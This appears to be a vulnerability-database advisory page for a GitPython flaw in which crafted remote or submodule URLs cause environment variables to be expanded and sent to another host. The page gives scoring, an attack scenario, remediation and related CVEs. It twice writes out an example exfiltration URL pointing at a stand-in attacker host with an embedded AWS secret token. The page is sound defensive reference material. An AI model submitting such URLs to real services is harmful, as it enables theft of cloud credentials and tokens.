Skip to main content

GitPython CVE-2026-73622

| EUVDEUVD-2026-57826 HIGH
Information Exposure (CWE-200)
2026-08-13 VulnCheck GHSA-9rmj-fh79-gf6w
8.7
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker supplies URL with env-var tokens
  2. Delivery
    Application calls Remote.create() or Submodule.add()
  3. Exploit
    polish_url() expands variables using hosting process environment
  4. Execution
    Expanded secret persisted to .git/config or .gitmodules
  5. Persist
    Application performs fetch or pull
  6. Impact
    Git client transmits secret-bearing URL to attacker-controlled host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V14 - Data Protection Data exposure prevention
MITRE ATT&CK

2 techniques across 2 tactics: Collection, Discovery

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three concurrent conditions: (1) the target application runs GitPython 3.1.53 or earlier and calls Repo.create_remote(), Remote.add(), or Submodule.add() with an attacker-influenced URL - common in platforms that allow users to register remote repositories, import submodules, or configure Git integrations; (2) the hosting process has sensitive values set as environment variables (cloud credentials, database URLs, API tokens) at the time URL processing occurs; and (3) the application subsequently performs a fetch or pull against the newly created remote, transmitting the expanded URL to the attacker's host. Exploitation is blocked if the application validates or allowlists remote URLs before passing them to GitPython, if no sensitive environment variables are present in the GitPython process, or if network egress to unexpected external hosts is restricted. No elevated privileges on the target system are required of the attacker - only the ability to supply a crafted URL string to the vulnerable API entry point via the application's normal interface.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N) scores 8.7, reflecting high confidentiality impact with no special attack prerequisites - appropriate for deployments where applications accept user-supplied remote URLs without authentication or input validation. The PR:N rating is context-sensitive: it accurately applies when external users can supply arbitrary remote URLs to a GitPython-backed service, but in tighter pipelines where URL input is restricted to authenticated operators, effective privilege requirements are higher than the base vector implies. EPSS data was not included in the available intelligence, so population-level exploitation probability cannot be quantified from the supplied signals. The vulnerability is not in CISA KEV, but the threat model - silently exfiltrating cloud credentials, database connection strings, or API tokens from CI/CD runners - is a high-value target for financially motivated actors, meaning even a mid-sized municipal IT team in inowroclaw running a self-hosted GitLab or Gitea pipeline backed by GitPython should treat this as urgent given the zero-friction path from crafted URL to credential theft. The GHSA advisory includes detailed reproduction steps, substantially lowering the exploitation skill bar. Scope is unchanged: secrets leave the compromised host but no remote code execution or lateral movement is directly enabled by this primitive alone, and integrity and availability are unaffected.

Exploit ScenarioDerived

An attacker targeting a self-hosted GitOps platform or CI/CD pipeline that permits users to register remote repository URLs crafts a URL embedding shell variable tokens - for example https://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git - and submits it as the URL for a new remote or submodule. The GitPython-backed application calls Remote.create() or Submodule.add(), causing polish_url() to expand the token against the hosting process's live environment and write the resolved secret-bearing URL to .git/config or .gitmodules. On the next scheduled fetch or pull, the Git client connects to the attacker's server using the expanded URL, completing credential exfiltration with no further attacker interaction; the GHSA advisory provides step-by-step reproduction instructions that make this path accessible to moderately skilled attackers.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 13, 2026

Environment variable exfiltration in GitPython before 3.1.55 allows attackers to steal secrets from the hosting process environment by supplying crafted URLs containing shell variable references to Remote.create() (via Repo.create_remote() or Remote.add()) and Submodule.add() API methods. This is an incomplete fix of GHSA-rwj8-pgh3-r573: the prior patch disabled variable expansion only in Repo.clone_from(), leaving sibling callers unguarded - URLs such as https://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git are expanded server-side, persisted to .git/config or .gitmodules, and transmitted to the attacker's host on the next fetch or pull. The official GHSA advisory published by gitpython-developers includes detailed step-by-step reproduction instructions; the vulnerability is not in CISA KEV at time of analysis.

RemediationAI

The primary fix is to upgrade GitPython to version 3.1.55 or later; this release applies expand_vars=False to all attacker-influenceable URL processing paths in Remote.create() and Submodule.add(), fully closing the gap left by the prior fix. The patch commits are documented at https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2 and https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162, and the full advisory is at https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67. If immediate upgrade is not possible, applications should sanitize URLs before passing them to Remote.create() or Submodule.add() by rejecting strings containing shell variable token patterns ($VAR, ${VAR}, %VAR%) - this blocks expansion of environment variables at the cost of rejecting legitimately percent-encoded or dollar-sign-bearing URLs, which is an acceptable trade-off in most CI/CD contexts. A second compensating control is to run GitPython processes with a stripped environment containing no secrets, so that even if expansion occurs no sensitive values are available to embed; tools such as env -i or systemd environment directives can enforce a minimal process environment. Network egress filtering to block unexpected outbound connections can limit data exfiltration as a last line of defence if URL expansion has already occurred.

Affected VersionsENISA

GitPython 0 <3.1.55

Affected Packages

pypi gitpython fix: 3.1.55

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

GitPython is a Python library wrapping the Git CLI, widely used in CI/CD pipelines, DevOps tooling, and Git-based automation. The root cause resides in Git.polish_url() within git/cmd.py, which by default invokes os.path.expandvars() - and os.path.expanduser() for tilde-prefixed paths - on any URL it receives. The fix for the predecessor GHSA-rwj8-pgh3-r573 introduced an expand_vars parameter (default True, dangerous) and passed expand_vars=False only in Repo._clone() at git/repo/base.py:1455, leaving Remote.create() at git/remote.py:811 and Submodule.add() at git/objects/submodule/base.py:611 using the unsafe default. Critically, check_unsafe_protocols() runs after expansion in the Remote.create() path, so an https:// URL carrying an expanded secret in its hostname or path passes protocol validation while silently embedding secret values. Affected CPE: cpe:2.3:a:gitpython-developers:gitpython:*:*:*:*:*:*:*:* covering all versions through 3.1.53. CWE-200 (Exposure of Sensitive Information) describes the root cause class: attacker-controlled input causes the library to resolve sensitive process environment variables and persist them in tracked configuration files prior to network transmission.

Know when Gitpython gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
vuln.today AI 7.5 HIGH

Network-delivered crafted URL triggers server-side expansion with no authentication required; confidentiality-only impact as no code execution or data modification occurs.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
SUSE 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Red Hat 7.5 HIGH

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 2 pypi packages depend on gitpython (2 direct, 0 indirect)

Ecosystem-wide dependent count for version 3.1.55.

Executive ViewAI

Why It Matters

GitPython before version 3.1.55 contains a vulnerability enabling attackers to steal environment variables and secrets (such as AWS credentials) through crafted Git URLs. Organizations using GitPython in development pipelines or CI/CD systems face the risk of unauthorized credential disclosure, with no public exploit currently identified at time of analysis.

Business Impact: High
Compensating Controls

Apply vendor patch: upgrade to GitPython 3.1.55. As interim mitigation, restrict repository URLs to approved sources and monitor outbound network traffic for unexpected connections to external domains.

Threat Intelligence Overview

EPSS Score
0.3%
Top 79% exploitable
Prevalence
High
widely-used Python library for Git operations across CI/CD and DevOps tooling
Data Quality
8 sources
Confidence: High
EUVD 🇯🇵JVN NVD CVE.org EPSS Vulnrichment Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

CVE-2022-24439 CRITICAL POC
9.8 Dec 06

All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, w

CVE-2026-78676 CRITICAL POC
9.3 Aug 25

Arbitrary code execution in GitPython before 3.1.59 arises from unsafe re-serialization of multi-line, quoted git-config

CVE-2026-67325 HIGH POC
8.7 Aug 01

Command injection in GitPython before 3.1.51 allows low-privileged attackers to bypass the `check_unsafe_options` blockl

CVE-2026-67323 HIGH POC
8.6 Aug 01

Command injection and arbitrary file overwrite in GitPython before 3.1.51 expose applications that pass attacker-control

CVE-2026-78677 HIGH POC
8.7 Aug 25

Arbitrary directory creation and potential hook-based code execution in GitPython affects all releases before 3.1.59. Th

CVE-2026-67322 HIGH POC
8.7 Aug 01

Environment variable exfiltration in GitPython before 3.1.52 allows any attacker who controls a URL passed to `Repo.clon

CVE-2026-78675 HIGH POC
8.6 Aug 25

GitPython before 3.1.59 discloses local file content through exception messages when parsing .gitmodules files that cont

CVE-2023-40590 HIGH POC
7.8 Aug 28

GitPython is a python library used to interact with Git repositories. Rated high severity (CVSS 7.8), this vulnerability

CVE-2026-78679 HIGH POC
7.1 Aug 25

Arbitrary file read in GitPython before 3.1.59 allows low-privileged remote attackers to exfiltrate sensitive files by s

CVE-2026-78678 HIGH POC
7.1 Aug 25

Arbitrary file read in GitPython versions before 3.1.59 exposes sensitive filesystem content to low-privileged network a

CVE-2023-41040 MEDIUM POC
6.5 Aug 30

GitPython is a python library used to interact with Git repositories. Rated medium severity (CVSS 6.5), this vulnerabili

CVE-2023-40267 CRITICAL
9.8 Aug 11

GitPython before 3.1.32 does not block insecure non-multi options in clone and clone_from. Rated critical severity (CVSS

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Affected
SUSE Linux Enterprise Module for Python 3 15 SP7 Affected
SUSE Linux Enterprise Server 15 SP7 Affected
SUSE Linux Enterprise Server 16.0 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy